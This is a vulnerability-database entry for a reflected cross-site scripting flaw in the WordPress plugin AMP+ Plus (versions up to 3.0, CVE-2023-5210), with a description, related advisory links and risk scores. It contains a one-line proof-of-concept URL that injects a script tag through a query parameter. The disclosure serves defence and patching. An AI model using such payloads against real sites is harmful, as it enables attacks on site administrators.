Lucene search
Nicolas SurribasWPVDB-ID:1C3FF47A-12A5-49C1-A166-2C57E5C0D0AAHistoryNov 13, 2023 - 12:00 a.m.
AMP+ Plus <= 3.0 - Reflected Cross Site Scripting
2023-11-1300:00:00
Nicolas Surribas
wpscan.com
3
amp+ plus
reflected cross site scripting
vulnerability
software
admin
high privilege users
Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
PoC
https://example.com/?p=1&yolo;="><ScRiPt>alert('XSS')<%2FsCrIpT>
Related
wpexploit
wpexploit
AMP+ Plus <= 3.0 - Reflected Cross Site Scripting
2023-11-13 00:00:00
prion
prion
Cross site scripting
2023-12-04 22:15:00
nvd
nvd
CVE-2023-5210
2023-12-04 22:15:07
cvelist
cvelist
CVE-2023-5210 AMP+ Plus <= 3.0 - Reflected Cross Site Scripting
2023-12-04 21:28:59
cve
cve
CVE-2023-5210
2023-12-04 22:15:07
wordfence
wordfence
AI Score
6.3
Confidence
High
EPSS
0.001
Percentile
17.0%
Related for WPVDB-ID:1C3FF47A-12A5-49C1-A166-2C57E5C0D0AA